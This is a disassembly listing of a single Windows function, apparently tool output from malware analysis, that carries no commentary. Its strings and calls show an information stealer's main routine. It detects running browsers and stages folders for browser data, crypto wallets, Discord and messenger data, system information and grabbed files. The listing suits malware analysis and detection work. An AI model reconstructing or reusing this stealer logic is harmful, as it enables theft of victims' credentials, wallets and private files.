Function at 0x140070368
Capabilities:
Create directory
Set current directory

Disassembly:
mov rax, rsp
push rbp
push rsi
push r12
push r14
push r15
lea rbp, [rax - 0x478]
sub rsp, 0x550
mov qword [rbp + 0x90], 0xfffffffffffffffe
mov qword [rax + 0x20], rbx
xor edx, edx
lea ebx, [rdx + 2]
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
or r14, 0xffffffffffffffff
cmp rax, r14
je 0x1400703b5
mov rdx, rax
lea rcx, str.chrome.exe
call fcn.1400747fc
xor edx, edx
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp rax, r14
je 0x1400703d3
mov rdx, rax
lea rcx, str.msedge.exe
call fcn.1400747fc
xor edx, edx
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp rax, r14
je 0x1400703f1
mov rdx, rax
lea rcx, str.brave.exe
call fcn.1400747fc
xor edx, edx
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
cmp rax, r14
je 0x14007040f
mov rdx, rax
lea rcx, str.browser.exe
call fcn.1400747fc
lea rcx, [rbp + 0xf8]
call fcn.140074d68
xor esi, esi
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x38], rsi
mov qword [rbp - 0x38], 0xf
mov qword [rbp - 0x40], rsi
mov byte [rbp - 0x50], sil
cmp byte [rbp + 0xf8], sil
jne 0x140070443
mov r8d, esi
jmp 0x140070456
lea rax, [rbp + 0xf8]
mov r8, r14
inc r8
cmp byte [rax + r8], sil
jne 0x14007044d
lea rdx, [rbp + 0xf8]
lea rcx, [rbp - 0x50]
call fcn.14000472c
nop
lea rcx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rcx, qword [rbp - 0x50]
mov r8, qword [rbp - 0x40]
add r8, rcx
lea rdx, [rbp - 0x50]
cmp qword [rbp - 0x38], 0x10
cmovae rdx, qword [rbp - 0x50]
mov qword [rbp - 0x20], rsi
mov qword [rbp - 0x18], rsi
mov r12d, 7
mov qword [rbp - 0x18], r12
mov qword [rbp - 0x20], rsi
mov word [rbp - 0x30], si
lea rcx, [rbp - 0x30]
call fcn.1400176b8
nop
lea rcx, [rbp + 0x30]
call fcn.140074cb0
nop
lea rcx, [rbp + 0x30]
lea r15d, [r12 + 1]
cmp qword [rbp + 0x48], r15
cmovae rcx, qword [rbp + 0x30]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rcx, [rbp - 0x30]
cmp qword [rbp - 0x18], r15
cmovae rcx, qword [rbp - 0x30]
xor edx, edx
call qword [0x1400c48c8]
lea r8, [0x14009746c]
lea rdx, [rbp + 0x30]
lea rcx, [rsp + 0x70]
call fcn.14000b098
nop
lea r8, [rbp - 0x30]
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140019cc8
nop
cmp qword [rbp - 0x78], r15
jb 0x14007051c
mov rcx, qword [rsp + 0x70]
call fcn.1400431dc
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], r15
cmovae rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor edx, edx
lea rcx, [0x1400995f0]
call qword [0x1400c48c8]
lea r8, str.Browsers
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x70]
call fcn.14000b098
nop
lea rcx, [rbp + 0x70]
cmp qword [rbp + 0x88], r15
cmovae rcx, qword [rbp + 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rax, [rsp + 0x70]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x488], rax
lea rax, [rsp + 0x30]
mov qword [rbp + 0x490], rax
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
mov ebx, 6
mov r8d, ebx
lea rdx, [0x140099620]
lea rcx, [rsp + 0x70]
call fcn.14000a734
nop
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c0f70]
lea rcx, [rsp + 0x50]
call fcn.140009c54
nop
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c1030]
lea rcx, [rsp + 0x30]
call fcn.140009c54
nop
lea r8, [rsp + 0x70]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140067cbc
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x488], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x490], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r8d, ebx
lea rdx, [0x140099630]
lea rcx, [rsp + 0x30]
call fcn.14000a734
nop
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c1150]
lea rcx, [rsp + 0x50]
call fcn.140009c54
nop
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c1030]
lea rcx, [rsp + 0x70]
call fcn.140009c54
nop
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400675f8
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x488], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x490], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r8d, ebx
lea rdx, [0x140099640]
lea rcx, [rsp + 0x30]
call fcn.14000a734
nop
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c1130]
lea rcx, [rsp + 0x50]
call fcn.140009c54
nop
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c1030]
lea rcx, [rsp + 0x70]
call fcn.140009c54
nop
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400670fc
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x488], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x490], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov ebx, 4
mov r8d, ebx
lea rdx, [0x140099650]
lea rcx, [rsp + 0x30]
call fcn.14000a734
nop
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c10b0]
lea rcx, [rsp + 0x50]
call fcn.140009c54
nop
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c10d0]
lea rcx, [rsp + 0x70]
call fcn.140009c54
nop
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140067cbc
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x488], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x490], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r8d, ebx
lea rdx, [0x140099660]
lea rcx, [rsp + 0x30]
call fcn.14000a734
nop
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c0fb0]
lea rcx, [rsp + 0x50]
call fcn.140009c54
nop
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c10d0]
lea rcx, [rsp + 0x70]
call fcn.140009c54
nop
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400675f8
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x488], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x490], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r8d, ebx
lea rdx, [0x140099670]
lea rcx, [rsp + 0x30]
call fcn.14000a734
nop
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c0fd0]
lea rcx, [rsp + 0x50]
call fcn.140009c54
nop
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c10d0]
lea rcx, [rsp + 0x70]
call fcn.140009c54
nop
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400670fc
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x488], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x490], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r8, r15
lea rdx, [0x140099680]
lea rcx, [rsp + 0x30]
call fcn.14000a734
nop
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c1170]
lea rcx, [rsp + 0x50]
call fcn.140009c54
nop
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c0ff0]
lea rcx, [rsp + 0x70]
call fcn.140009c54
nop
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140067cbc
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x488], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x490], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r8, r15
lea rdx, str.Chromium
lea rcx, [rsp + 0x30]
call fcn.14000a734
nop
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c1110]
lea rcx, [rsp + 0x50]
call fcn.140009c54
nop
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c0ff0]
lea rcx, [rsp + 0x70]
call fcn.140009c54
nop
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400675f8
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x488], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x490], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov ebx, 5
mov r8d, ebx
lea rdx, [0x1400996b0]
lea rcx, [rsp + 0x30]
call fcn.14000a734
nop
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c1010]
lea rcx, [rsp + 0x50]
call fcn.140009c54
nop
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c1190]
lea rcx, [rsp + 0x70]
call fcn.140009c54
nop
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140067cbc
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x488], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x490], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r8d, ebx
lea rdx, str.Brave
lea rcx, [rsp + 0x30]
call fcn.14000a734
nop
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c1050]
lea rcx, [rsp + 0x50]
call fcn.140009c54
nop
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c1190]
lea rcx, [rsp + 0x70]
call fcn.140009c54
nop
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.1400675f8
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x488], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x490], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r8, r12
lea rdx, str.Vivaldi
lea rcx, [rsp + 0x30]
call fcn.14000a734
nop
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c1070]
lea rcx, [rsp + 0x50]
call fcn.140009c54
nop
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c1090]
lea rcx, [rsp + 0x70]
call fcn.140009c54
nop
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140067cbc
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x50]
mov qword [rbp + 0x488], rax
lea rax, [rsp + 0x70]
mov qword [rbp + 0x490], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r8, r15
lea rdx, str.360_shit
lea rcx, [rsp + 0x30]
call fcn.14000a734
nop
mov qword [rsp + 0x68], r12
mov qword [rsp + 0x60], rsi
mov word [rsp + 0x50], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c11b0]
lea rcx, [rsp + 0x50]
call fcn.140009c54
nop
mov qword [rbp - 0x78], r12
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c10f0]
lea rcx, [rsp + 0x70]
call fcn.140009c54
nop
lea r8, [rsp + 0x30]
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x70]
call fcn.140067cbc
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x30]
mov qword [rbp + 0x488], rax
lea rdx, [0x1400996f8]
lea rcx, [rsp + 0x50]
call fcn.140007d50
mov rbx, rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c0f90]
lea rcx, [rsp + 0x30]
call fcn.140009c54
nop
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140066e78
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x30]
mov qword [rbp + 0x488], rax
lea rdx, [0x140099708]
lea rcx, [rsp + 0x50]
call fcn.140007d50
mov rbx, rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c1130]
lea rcx, [rsp + 0x30]
call fcn.140009c54
nop
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140066c04
lea rax, [rsp + 0x50]
mov qword [rbp + 0x480], rax
lea rax, [rsp + 0x30]
mov qword [rbp + 0x488], rax
lea rdx, [0x140099718]
lea rcx, [rsp + 0x50]
call fcn.140007d50
mov rbx, rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r9, r14
xor r8d, r8d
lea rdx, [0x1400c0fd0]
lea rcx, [rsp + 0x30]
call fcn.140009c54
nop
mov rdx, rbx
lea rcx, [rsp + 0x30]
call fcn.140066c04
xor edx, edx
lea rcx, [0x140099728]
call qword [0x1400c48c8]
lea r8, str.Firefox
lea rdx, [rbp + 0x70]
lea rcx, [rbp + 0x50]
call fcn.14000b098
nop
lea rcx, [rbp + 0x50]
cmp qword [rbp + 0x68], r15
cmovae rcx, qword [rbp + 0x50]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r9, r14
xor r8d, r8d
lea rdx, [rbp + 0x50]
lea rcx, [rsp + 0x30]
call fcn.140009c54
nop
lea rcx, [rsp + 0x30]
call fcn.140066658
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], r15
cmovae rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor edx, edx
lea rcx, [0x140099750]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.Wallets
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x10]
call fcn.14000b098
nop
lea rcx, [rbp + 0x10]
cmp qword [rbp + 0x28], r15
cmovae rcx, qword [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
call fcn.14007522c
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r9, r14
xor r8d, r8d
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x30]
call fcn.140009c54
nop
lea rcx, [rsp + 0x30]
call fcn.1400766f8
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r9, r14
xor r8d, r8d
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x30]
call fcn.140009c54
nop
lea rcx, [rsp + 0x30]
call fcn.140076ae0
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r9, r14
xor r8d, r8d
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x30]
call fcn.140009c54
nop
lea rcx, [rsp + 0x30]
call fcn.140076500
call fcn.14006f804
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], r15
cmovae rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
xor edx, edx
lea rcx, [0x140099778]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.Messengers
lea rdx, [rbp - 0x70]
lea rcx, [rbp - 0x10]
call fcn.14000b098
nop
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], r15
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r9, r14
xor r8d, r8d
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x30]
call fcn.140009c54
nop
lea rcx, [rsp + 0x30]
call fcn.14006f520
lea rcx, [rbp - 0x10]
cmp qword [rbp + 8], r15
cmovae rcx, qword [rbp - 0x10]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea r8, [0x1400997a8]
lea rdx, [rbp - 0x10]
lea rcx, [rbp + 0xd8]
call fcn.14000b098
nop
xor edx, edx
lea rcx, str.Discord
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
mov qword [rsp + 0x48], r12
mov qword [rsp + 0x40], rsi
mov word [rsp + 0x30], si
mov r9, r14
xor r8d, r8d
lea rdx, [rbp + 0xd8]
lea rcx, [rsp + 0x30]
call fcn.140009c54
nop
lea rcx, [rsp + 0x30]
call fcn.140074558
lea rcx, [rbp - 0x70]
cmp qword [rbp - 0x58], r15
cmovae rcx, qword [rbp - 0x70]
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
mov qword [rsp + 0x40], rsi
mov qword [rsp + 0x48], r12
xor edx, edx
lea rcx, [rsp + 0x30]
call fcn.140004d60
mov r9, r14
xor r8d, r8d
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.140009c54
nop
lea rcx, [rsp + 0x30]
call fcn.14006deb8
lea rdx, str.System_info.txt
lea rcx, [rsp + 0x30]
call fcn.140003498
nop
lea rcx, [rsp + 0x30]
call fcn.14006ee00
nop
lea rcx, [rsp + 0x30]
call fcn.140003500
call fcn.14006e81c
call fcn.14006e79c
call fcn.14006e71c
call fcn.14006e69c
call fcn.14006e59c
call fcn.14006e61c
call fcn.14006e4b4
mov ecx, 0x1000
call qword [sym.imp.USER32.dll_GetSystemMetrics]
test eax, eax
je 0x1400711df
call fcn.14006e288
lea rcx, [rbp + 0x130]
call fcn.14001ae20
nop
lea rcx, [rbp + 0x130]
call fcn.14001c848
mov rcx, rax
call fcn.14001a75c
lea rcx, [rbp + 0x130]
call fcn.140008050
nop
lea rcx, [rbp + 0x130]
call fcn.140007584
xor edx, edx
lea rcx, [0x1400998d8]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
lea r8, str.File_Grabber
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x98]
call fcn.14000b098
nop
lea rcx, [rbp + 0x240]
call fcn.14006edb4
lea rcx, [rbp + 0x98]
call fcn.140007de4
mov rdx, rax
lea rcx, [rbp + 0x240]
call fcn.14006e984
lea rcx, [rbp + 0x30]
call fcn.140007de4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
lea rdx, [rbp + 0x480]
lea rcx, [rbp - 0x70]
call fcn.140003584
mov rbx, rax
lea rdx, [rbp + 0x488]
lea rcx, [rbp - 0x70]
call fcn.140003570
mov r8, qword [rbx]
mov rdx, qword [rax]
lea rcx, [rbp + 0xb8]
call fcn.1400058b0
nop
lea rax, [rsp + 0x30]
mov qword [rbp + 0x480], rax
lea rcx, [rbp + 0xb8]
call fcn.140003530
mov rdx, rax
lea rcx, [rsp + 0x30]
call fcn.140003498
nop
mov rcx, rax
call fcn.140076f8c
nop
lea rcx, [rbp + 0xb8]
call fcn.140003500
nop
lea rcx, [rbp + 0x98]
call fcn.140003540
nop
lea rcx, [rbp + 0xd8]
call fcn.140003540
nop
lea rcx, [rbp - 0x10]
call fcn.140003540
nop
lea rcx, [rbp + 0x10]
call fcn.140003540
nop
lea rcx, [rbp + 0x50]
call fcn.140003540
nop
lea rcx, [rbp + 0x70]
call fcn.140003540
nop
lea rcx, [rbp - 0x70]
call fcn.140003540
nop
lea rcx, [rbp + 0x30]
call fcn.140003540
nop
lea rcx, [rbp - 0x30]
call fcn.140003540
nop
lea rcx, [rbp - 0x50]
call fcn.140003500
xor eax, eax
mov rbx, qword [rsp + 0x598]
add rsp, 0x550
pop r15
pop r14
pop r12
pop rsi
pop rbp
ret